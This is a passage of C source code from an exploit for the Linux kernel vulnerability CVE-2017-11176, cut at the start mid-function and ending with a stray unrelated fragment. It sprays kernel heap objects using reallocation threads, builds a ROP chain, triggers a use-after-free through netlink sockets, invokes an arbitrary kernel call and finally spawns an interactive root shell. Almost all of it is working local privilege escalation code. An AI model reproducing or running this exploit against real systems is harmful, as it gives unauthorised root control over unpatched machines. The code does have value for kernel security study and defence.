(_getsockname(sock_fd, &addr, &addr_len)) { perror("[-] getsockname"); goto fail; } printf("[ ] addr_len = %lu\n", addr_len); printf("[ ] addr.nl_pid = %d\n", addr.nl_pid); printf("[ ] magic_pid = %d\n", magic_pid); if (addr.nl_pid != magic_pid) { printf("[-] magic PID does not match!\n"); goto fail; } if (addr.nl_groups != magic_groups) { printf("[-] groups pointer does not match!\n"); goto fail; } return true; fail: printf("[-] failed to check realloc success status!\n"); return false; } // ---------------------------------------------------------------------------- static int init_unix_sockets(struct realloc_thread_arg * rta) { struct timeval tv; static int sock_counter = 0; if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) { perror("[-] socket"); goto fail; } // bind an "abstract" socket (first byte is NULL) memset(&rta->addr, 0, sizeof(rta->addr)); rta->addr.sun_family = AF_UNIX; sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter); if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) { perror("[-] bind"); goto fail; } if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) { perror("[-] connect"); goto fail; } // set the timeout value to MAX_SCHEDULE_TIMEOUT memset(&tv, 0, sizeof(tv)); if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { perror("[-] setsockopt"); goto fail; } return 0; fail: // TODO: release everything printf("[-] failed to initialize UNIX sockets!\n"); return -1; } // ---------------------------------------------------------------------------- static void* realloc_thread(void *arg) { struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; struct msghdr mhdr; char buf[200]; // initialize msghdr struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf), }; memset(&mhdr, 0, sizeof(mhdr)); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; // the thread should inherit main thread cpumask, better be sure and redo-it! if (migrate_to_cpu0()) goto fail; // make it block while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0) ; if (errno != EAGAIN) { perror("[-] sendmsg"); goto fail; } // use the arbitrary data now iov.iov_len = 16; // don't need to allocate lots of memory now mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer mhdr.msg_controllen = sizeof(g_realloc_data); g_nb_realloc_thread_ready++; while (!g_realloc_now) // spinlock until the big GO! ; // the next call should block while "reallocating" if (_sendmsg(rta->send_fd, &mhdr, 0) < 0) { perror("[-] sendmsg"); goto fail; } return NULL; fail: printf("[-] REALLOC THREAD FAILURE!!!\n"); return NULL; } // ---------------------------------------------------------------------------- static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs) { int thread = 0; int ret = -1; if (!can_use_realloc_gadget()) { printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n"); goto fail; } printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n"); if (init_realloc_data()) { printf("[-] failed to initialize reallocation data!\n"); goto fail; } printf("[+] reallocation data initialized!\n"); printf("[ ] initializing reallocation threads, please wait...\n"); for (thread = 0; thread < nb_reallocs; ++thread) { if (init_unix_sockets(&rta[thread])) { printf("[-] failed to init UNIX sockets!\n"); goto fail; } if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) { perror("[-] pthread_create"); goto fail; } } // wait until all threads have been created while (g_nb_realloc_thread_ready < nb_reallocs) _sched_yield(); // don't run me, run the reallocator threads! printf("[+] %lu reallocation threads ready!\n", nb_reallocs); return 0; fail: printf("[-] failed to initialize reallocation\n"); return -1; } // ---------------------------------------------------------------------------- // keep this inlined, we can't loose any time (critical path) static inline __attribute__((always_inline)) void realloc_NOW(void) { g_realloc_now = 1; _sched_yield(); // don't run me, run the reallocator threads! sleep(5); } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ int main(void) { int sock_fd2 = -1; int val; struct realloc_thread_arg rta[NB_REALLOC_THREADS]; printf("[ ] -={ CVE-2017-11176 Exploit }=-\n"); if (migrate_to_cpu0()) { printf("[-] failed to migrate to CPU#0\n"); goto fail; } printf("[+] successfully migrated to CPU#0\n"); if (allocate_uland_structs()) { printf("[-] failed to allocate userland structures!\n"); goto fail; } build_rop_chain((uint64_t*)g_fake_stack); printf("[+] ROP-chain ready\n"); memset(rta, 0, sizeof(rta)); if (init_reallocation(rta, NB_REALLOC_THREADS)) { printf("[-] failed to initialize reallocation!\n"); goto fail; } printf("[+] reallocation ready!\n"); if (find_netlink_candidates(&g_target, &g_guard)) { printf("[-] failed to find netlink candidates\n"); goto fail; } printf("[+] netlink candidates ready:\n"); printf("[+] target.pid = %d\n", g_target.pid); printf("[+] guard.pid= %d\n", g_guard.pid); if (fill_receive_buffer(&g_target, &g_guard)) goto fail; if (((unblock_fd = _dup(g_target.sock_fd)) < 0) || ((sock_fd2 = _dup(g_target.sock_fd)) < 0)) { perror("[-] dup"); goto fail; } printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2); // trigger the bug twice AND immediatly realloc! if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) || decrease_sock_refcounter(sock_fd2, unblock_fd)) { goto fail; } realloc_NOW(); // close it before invoking the arbitrary call close(g_guard.sock_fd); printf("[+] guard socket closed\n"); if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS)) { printf("[-] reallocation failed!\n"); // TODO: retry the exploit goto fail; } printf("[+] reallocation succeed! Have fun :-)\n"); // trigger the arbitrary call primitive printf("[ ] invoking arbitrary call primitive...\n"); val = 3535; // need to be different than zero if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) { perror("[-] setsockopt"); goto fail; } printf("[+] arbitrary call succeed!\n"); printf("[+] exploit complete!\n"); printf("[ ] popping shell now!\n"); char* shell = "/bin/bash"; char* args[] = {shell, "-i", NULL}; execve(shell, args, NULL); return 0; fail: printf("[-] exploit failed!\n"); PRESS_KEY(); return -1; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ |
体验盒子
